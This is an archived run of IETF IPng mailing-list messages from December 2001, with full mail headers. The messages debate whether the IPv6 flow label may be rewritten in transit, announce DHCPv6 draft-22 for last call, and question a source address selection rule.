<4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> <3933.1008954966@brandenburg.cs.mu.OZ.AU> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz writes: > Date: Fri, 21 Dec 2001 08:56:26 -0800 (PST) > From: Michael Thomas > Message-ID: <15395.27066.627516.132289@thomasm-u1.cisco.com> > > | I sure see a difference. If my stack does that for me > | I always have the option to cd /usr/src/linux/net/ipv6 > | and make it stop doing that; YMMV. In a router, I stop > | having that option. > > If your router does it, and you don't want it to, you reconfigure the > router, or if that's not possible, you replace it. If it isn't your > choice to change that, then you're probably attempting to defeat the > policies of your local net. Um, no. I don't want my telephant's local policy -- which is largely to be as inflexible as possible -- to effect end to end semantics. I also don't want them to install net nanny's or other intelligent network junk either. > | I can. It's the slippery slope to MIDCOM. > > I have learned to largely ignore slippery slope arguments. They're > mostly FUD. By all means, ignore away. Lots of people think that it's a bunch of FUD about NAT's too. They're by and large completely ignorant. > | If we *really* want to preserve options here, > | let's incoprorate Christian's suggestion that > | we save a couple of bits out of the field which > | define the sematics of the flow lable. > > Are you paying any attention to what is being suggested? Really? > What I have been describing ie *exactly* what is in their draft > (as it stands now, before any input from the SLC meeting, or this > discussion on the list has had a chance to affect it). Yes, yes, big deal. They wanted to support first hop rewrite, it got a negative reaction and from what I can tell they're not wedded to that piece. Do you actually disagree, or are you just being argumentative? Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 11:52:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLJqRZR004568 for ; Fri, 21 Dec 2001 11:52:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLJqQRD004567 for ipng-dist; Fri, 21 Dec 2001 11:52:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLJqNZR004557 for ; Fri, 21 Dec 2001 11:52:23 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA14098 for ; Fri, 21 Dec 2001 11:52:24 -0800 (PST) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA03386 for ; Fri, 21 Dec 2001 11:52:23 -0800 (PST) Received: from rdroms-w2k.cisco.com (ch2-dhcp150-34.cisco.com [161.44.150.34]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA22574 for ; Fri, 21 Dec 2001 14:52:22 -0500 (EST) Message-Id: <4.3.2.7.2.20011221145029.03754898@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 21 Dec 2001 14:53:03 -0500 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Fwd: [dhcwg] Latest rev of DHCPv6 spec Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At the IPv6 WG meeting (Thu AM) in Salt Lake City, I mentioned that the DHCPv6 spec is about ready for WG last call. I've included a message below that I sent to the DHC earlier today. I invite and encourage the IPv6 WG to review and comment on draft-ietf-dhc-dhcpv6-22.txt in the dhcwg@ietf.org mailing list. - Ralph ===== I just sent draft-ietf-dhc-dhcpv6-22.txt in to the IETF for publication. Unfortunately, the Internet Draft Submission Manager will be out of the office until 1/3/2002, so the new draft won't be published at ietf.org until then. In the interim, you can obtain a copy of the new draft from http://www.dhcp.org/dhcpv6-22.txt. Based on the discussion at the WG meeting in Salt Lake City, draft-ietf-dhc-dhcpv6-22.txt is ready for WG last call. I will officially start the WG last call as soon as the new draft is published; the last call will run until Friday, 1/11. Feel free to read a copy of the draft from www.dhcp.org and post your comments here... - Ralph _______________________________________________ dhcwg mailing list dhcwg@ietf.org https://www1.ietf.org/mailman/listinfo/dhcwg -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 12:09:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLK9nZR004805 for ; Fri, 21 Dec 2001 12:09:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLK9nfh004804 for ipng-dist; Fri, 21 Dec 2001 12:09:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLK9jZR004797 for ; Fri, 21 Dec 2001 12:09:45 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA17602 for ; Fri, 21 Dec 2001 12:09:46 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA05772 for ; Fri, 21 Dec 2001 13:10:33 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 12:09:07 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 6679C2ED7A614A5F953362AB36B07678 for plus 4 more; Fri, 21 Dec 2001 12:09:07 -0800 From: "Tony Hain" To: "Bob Hinden" , , Cc: , Subject: RE: Request to Advance "Default Address Selection for IPv6" Date: Fri, 21 Dec 2001 12:04:02 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.3.2.7.2.20011001164134.022d3ca8@mailhost.iprg.nokia.com> X-SLUIDL: 3AB0459B-DEFD45EE-998BCE22-63E1043F Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Obviously I missed some mail here... In looking at draft-06, I am concerned about src addr selection Rule 7. The sense of this is flipped from what I remember, and it is done to accommodate the tiny number of apps that do a consistency check of the reverse DNS pointer. Since those apps are the ones with a specific requirement, they should be the ones doing the additional work of requesting the public address be prefered over the temporary one. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Bob Hinden > Sent: Monday, October 01, 2001 4:46 PM > To: Erik.Nordmark@eng.sun.com; narten@raleigh.ibm.com > Cc: scoya@ietf.org; ipng@sunroof.eng.sun.com > Subject: Request to Advance "Default Address Selection for IPv6" > > > Erik, Thomas, > > The chairs of the IP Next Generation working group, on behalf of the > working group, request that the following document be published as a > Proposed Standard: > > Title : Default Address Selection for IPv6 > Author(s) : R. Draves > Filename : draft-ietf-ipngwg-default-addr-select-06.txt > Pages : 22 > Date : 28-Sep-01 > > A working group last call for this document was completed on June 7, > 2001. The "-06" draft was produced in response to comments > made during the > w.g. last call and subsequent discussion. The document was > discussed at > the London IETF and the w.g. agreed advancing it to Proposed > Standard once > the new draft was published. > > Bob Hinden / Steve Deering > IPng Working Group Co-Chairs > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 12:40:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKe8ZR004957 for ; Fri, 21 Dec 2001 12:40:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLKe88x004956 for ipng-dist; Fri, 21 Dec 2001 12:40:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKe3ZR004949 for ; Fri, 21 Dec 2001 12:40:05 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA12695 for ; Fri, 21 Dec 2001 12:40:01 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA17747 for ; Fri, 21 Dec 2001 13:40:49 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 12:39:52 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id F2FADDA3A1E1403F83728F99566F42F2 for plus 2 more; Fri, 21 Dec 2001 12:39:52 -0800 From: "Tony Hain" To: "Hesham Soliman \(ERA\)" , "'Margaret Wasserman'" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 12:34:48 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw.ericsson.se> X-SLUIDL: F43F61AA-765D4764-B31E556F-47FCB06A Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hesham Soliman wrote: > => Perhaps another way to look at this, is to > come back to basics and say that the flow label > is part of the IPv6 header, therefore it seems > rational to let IPv6 WG define its use. > I don't see anything wrong with this, no other > fields in the IPv6 header are defined by other > groups. This makes the point better than I did, with the exception that I was only trying to define a boundary condition and let a group focused on signalling specify content. It is perfectly for the IPv6 WG to say that the DSCP is a mutable field and the FL is immutable. Both may be applicable to QoS applications in specific contexts. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 12:43:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKhOZR004985 for ; Fri, 21 Dec 2001 12:43:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLKhOKc004984 for ipng-dist; Fri, 21 Dec 2001 12:43:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKhLZR004977 for ; Fri, 21 Dec 2001 12:43:21 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13339 for ; Fri, 21 Dec 2001 12:43:17 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA19029 for ; Fri, 21 Dec 2001 13:43:54 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 12:43:00 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 19F9FB83D29348F7B33C28E4E14AF32F for plus 2 more; Fri, 21 Dec 2001 12:43:00 -0800 From: "Tony Hain" To: "Margaret Wasserman" , "Brian E Carpenter" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 12:37:56 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.2.2.20011221111819.00a82100@mail.windriver.com> X-SLUIDL: 34CE2AA2-260F4109-9A07E811-AAB354A4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > As far as I can tell, this makes it impossible to use the flow label > as current defined (without some out-of-band flow management system > to supply knowledge of flow lifetimes) to identify a single flow. > > What am I missing? As I said earlier, you are focused on using the FL in issolation, and finding that doesn't make sense. In that context you are correct, but your assumption that all administrative domains in the path need to know the same context as all others seems to be leading to your confusion. If an intermediate domain wants to use a static flow management system that says for the DSCP queue XYZ, when congestion occurs drop all packets with the same flow until congestion subsides, but for DSCP queue ABC ensure that drops are spread evenly across all flows, that is as valid as any signaled system that might be used at the edge. If a source happens to reuse a FL within the window of congestion in the intermediate domain, so be it. This is not a particularly likely scenario since most implementations will use existing randomization routines to acquire the value for the FL, so why are we still talking about it? Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 12:45:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKjtZR005011 for ; Fri, 21 Dec 2001 12:45:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLKjtxa005010 for ipng-dist; Fri, 21 Dec 2001 12:45:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLKjqZR005003 for ; Fri, 21 Dec 2001 12:45:52 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA23596 for ; Fri, 21 Dec 2001 12:45:53 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA20245 for ; Fri, 21 Dec 2001 13:46:40 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 12:45:43 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 6898709748FB44ADA4309D44B261C87A for plus 2 more; Fri, 21 Dec 2001 12:45:43 -0800 From: "Tony Hain" To: "Alex Conta" Cc: "Muhammad Jaseemuddin" , Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 12:40:39 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <3C23709F.E78F5EAB@txc.com> X-SLUIDL: C072B37F-F5574E85-A0E1E19B-3C0D272D Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Alex Conta wrote: > Furthermore, the > restriction has a detrimental effect on the subset of > applications that > could take advantage of a changing value. I am sorry, but those applications should be using the DSCP which is already mutable. If we allow the FL to be mutable, there will be no applications that can trust that it will immutable over any random network. You can't have it both ways. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 13:26:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLLQhZR005657 for ; Fri, 21 Dec 2001 13:26:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLLQgeM005656 for ipng-dist; Fri, 21 Dec 2001 13:26:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLLQbZR005645 for ; Fri, 21 Dec 2001 13:26:39 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA00275 for ; Fri, 21 Dec 2001 13:26:37 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA05403 for ; Fri, 21 Dec 2001 14:27:26 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id QAA29165; Fri, 21 Dec 2001 16:29:00 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id QAA04208; Fri, 21 Dec 2001 16:29:00 -0500 Message-ID: <3C23A977.7A2DFA9D@txc.com> Date: Fri, 21 Dec 2001 16:28:23 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Tony Hain CC: Muhammad Jaseemuddin , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms96258DD8C45046F485F9597B" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms96258DD8C45046F485F9597B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit As a general point, I do not think that end-node applications care much about what happens to flow labels in the network. They rather care of a certain service from the network. If a flow Setup and flow processing for a certain service is defined and implemented to keep flow labels constant, then it will do that. I do not understand the trust problem. Alex Tony Hain wrote: > > Alex Conta wrote: > > Furthermore, the > > restriction has a detrimental effect on the subset of > > applications that > > could take advantage of a changing value. > > I am sorry, but those applications should be using the DSCP which is > already mutable. If we allow the FL to be mutable, there will be no > applications that can trust that it will immutable over any random > network. You can't have it both ways. > > Tony --------------ms96258DD8C45046F485F9597B Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMjEyMTI4MjVaMCMGCSqGSIb3DQEJ BDEWBBSGdK7QBQikJFnstBz9O/NDIAd+KTBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgFv2+H6c4p6haSsmTTrx0oFsh9KkqxZ8IQpnhfHmpiXDPcFp X0tjigzg0D9E738u+QFMpE3djE/V0CFVsr9QaL16th2Eg4V49wf5grrFYBhl+9broj4emdBj 6k2tZ4/G/OfWOl+f64/Exsdzy2gZGMBlaWqk54wjLCMD47YysHHA --------------ms96258DD8C45046F485F9597B-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 14:34:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLMYcZR005867 for ; Fri, 21 Dec 2001 14:34:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLMYc2x005866 for ipng-dist; Fri, 21 Dec 2001 14:34:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLMYYZR005859 for ; Fri, 21 Dec 2001 14:34:34 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id 